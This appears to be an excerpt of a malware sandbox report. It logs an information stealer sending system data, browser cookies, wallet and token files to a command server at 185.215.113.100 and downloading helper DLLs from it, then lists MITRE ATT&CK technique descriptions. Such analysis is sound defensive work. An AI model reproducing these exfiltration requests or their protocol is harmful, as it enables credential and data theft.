64 47 39 77 4f 69 42 47 51 55 78 54 52 51 6f 4a 4c 53 42 53 64 57 35 75 61 57 35 6e 49 46 42 68 64 47 67 36 49 45 4d 36 58 46 56 7a 5a 58 4a 7a 58 47 68 31 59 6d 56 79 64 46 78 45 5a 58 4e 72 64 47 39 77 58 47 5a 70 62 47 55 75 5a 58 68 6c 43 67 6b 74 49 45 4e 51 56 54 6f 67 53 57 35 30 5a 57 77 6f 55 69 6b 67 51 32 39 79 5a 53 68 55 54 53 6b 79 49 45 4e 51 56 53 41 32 4e 6a 41 77 49 45 41 67 4d 69 34 30 4d 43 42 48 53 48 6f 4b 43 53 30 67 51 32 39 79 5a 58 4d 36 49 44 49 4b 43 53 30 67 56 47 68 79 5a 57 46 6b 63 7a 6f 67 4e 41 6f 4a 4c 53 42
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGHJEBFBFHIIECAECGHHost: 185.215.113.100Content-Length: 6551Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 6c 7a 64 47 56 74 58 32 6c 75 5a 6d 38 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 48 4a 45 42 46 42 46 48 49 49 45 43 41 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 43 6b 35 6c 64 48 64 76 63 6d 73 67 53 57 35 6d 62 7a 6f 4b 43 53 30 67 53 56 41 36 49 45 6c 51 50 77 6f 4a 4c 53 42 44 62 33 56 75 64 48 4a 35 4f 69 42 4a 55 30 38 2f 43 67 70 54 65 58 4e 30 5a 57 30 67 55 33 56 74 62 57 46 79 65 54 6f 4b 43 53 30 67 53 46 64 4a 52 44 6f 67 4d 55 51 35 4f 44 6c 42 4d 44 52 43 4e 45 52 43 4d 6a 51 35 4e 6a 59 78 4f 44 59 33 4e 51 6f 4a 4c 53 42 50 55 7a 6f 67 56 32 6c 75 5a 47 39 33 63 79 41 78 4d 43 42 51 63 6d 38 4b 43 53 30 67 51 58 4a 6a 61 47 6c 30 5a 57 4e 30 64 58 4a 6c 4f 69 42 34 4e 6a 51 4b 43 53 30 67 56 58 4e 6c 63 6b 35 68 62 57 55 36 49 47 68 31 59 6d 56 79 64 41 6f 4a 4c 53 42 44 62 32 31 77 64 58 52 6c 63 69 42 4f 59 57 31 6c 4f 69 41 79 4d 54 41 35 4e 7a 6b 4b 43 53 30 67 54 47 39 6a 59 57 77 67 56 47 6c 74 5a 54 6f 67 4d 6a 41 79 4e 43 38 34 4c 7a 4d 78 49 44 45 32 4f 6a 55 36 4d 54 59 4b 43 53 30 67 56 56 52 44 4f 69 41 74 4e 51 6f 4a 4c 53 42 4d 59 57 35 6e 64 57 46 6e 5a 54 6f 67 5a 57 34 74 51 30 67 4b 43 53 30 67 53 32 56 35 59 6d 39 68 63 6d 52 7a 4f 69 42 46 62 6d 64 73 61 58 4e 6f 49 43 68 56 62 6d 6c 30 5a 57 51 67 53 32 6c 75 5a 32 52 76 62 53 6b 67 4c 79 42 46 62 6d 64 73 61 58 4e 6f 49 43 68 56 62 6d 6c 30 5a 57 51 67 53 32 6c 75 5a 32 52 76 62 53 6b 4b 43 53 30 67 54 47 46 77 64 47 39 77 4f 69 42 47 51 55 78 54 52 51 6f 4a 4c 53 42 53 64 57 35 75 61 57 35 6e 49 46 42 68 64 47 67 36 49 45 4d 36 58 46 56 7a 5a 58 4a 7a 58 47 68 31 59 6d 56 79 64 46 78 45 5a 58 4e 72 64 47 39 77 58 47 5a 70 62 47 55 75 5a 58 68 6c 43 67 6b 74 49 45 4e 51 56 54 6f 67 53 57 35 30 5a 57 77 6f 55 69 6b 67 51 32 39 79 5a 53 68 55 54 53 6b 79 49 45 4e 51 56 53 41 32 4e 6a 41 77 49 45 41 67 4d 69 34 30 4d 43 42 48 53 48 6f 4b 43 53 30 67 51 32 39 79 5a 58 4d 36 49 44 49 4b 43 53 30 67 56 47 68 79 5a 57 46 6b 63 7a 6f 67 4e 41 6f 4a 4c 53 42
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECAHost: 185.215.113.100Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 67 33 4d 7a 67 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 67 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 33 4f 54 4d 34 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 33 4a 6a 55 30 6c 75 62 31 70 43 59 6a 5a 54 63 6e 63 77 55 47 52 51 54 55 35 6c 54 45 64 4c 63 32 56 6e 5a 6b 78 70 4c 58 52 52 62 6e 5a 70 61 47 38 31 61 45 74 4b 57 45 74 45 54 6d 63 77 61 31 68 4a 55 47 35 6d 56 47 4e 31 64 31 59 31 63 6a 64 53 63 57 70 55 4f 44 6b 7a 63 46 64 48 53 6b 59 33 61 32 78 4c 63 57 78 6b 51 6d 39 71 4e 48 4a 45 53 6e 5a 34 5a 6b 5a 73 5a 30 52 50 51 32 4e 58 4f 57 46 4c 52 47 35 56 4f 58 70 4a 62 46 56 6f 4d 6b 78 51 4d 48 5a 50 4f 47 73 7a 64 56 51 77 5a 30 68 4b 52 44 46 4b 64 6c 5a 42 59 32 78 72 53 6d 35 4c 64 31 70 48 4e 6d 68 45 51 57 77 32 4d 6b 68 79 54 58 68 4f 63 6c 56 6c 63 56 4e 53 4c 56 64 47 4d 55 6f 74 62 44 6c 5a 57 57 64 46 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzg3MzgJMVBfSkFSCTIwMjMtMTAtMDUtMDgKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk3OTM4CU5JRAk1MTE9b3JjU0lub1pCYjZTcncwUGRQTU5lTEdLc2Vn
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file"------BFIDGDAKFHIEHJKFHDHD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 2d 2d 0d 0a Data Ascii: ------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGIJJKKJJDAAAAAKFHJJContent-Disposition: form-data; name="file"------BGIJJKKJJDAAAAAKFHJJ--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBGHost: 185.215.113.100Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="message"wallets------IEHDBGDHDAECBGDHJKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECFHost: 185.215.113.100Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 45 42 47 49 49 44 41 46 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------CBAKEBGIIDAFIDHIIECFContent-Disposition: form-data; name="message"files------CBAKEBGIIDAFIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFHHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 4a 4a 44 48 43 47 43 41 45 43 41 41 45 43 46 48 2d 2d 0d 0a Data Ascii: ------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJKJJDHCGCAECAAECFHContent-Disposition: form-data; name="file"------HJJKJJDHCGCAECAAECFH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"ybncbhylepme------KFBGDBFBKKJECBFHDGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 185.215.113.100Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 63 39 36 30 38 35 62 34 62 36 64 34 61 62 65 62 31 65 31 30 65 31 32 66 65 35 31 39 61 63 32 37 64 30 65 37 34 36 33 34 35 37 65 36 38 33 37 37 31 65 37 33 33 30 63 63 66 36 62 62 38 32 31 66 35 64 61 62 62 35 35 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"fc96085b4b6d4abeb1e10e12fe519ac27d0e7463457e683771e7330ccf6bb821f5dabb55------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIJDAFBKFIECBGCAKECG--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.100

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
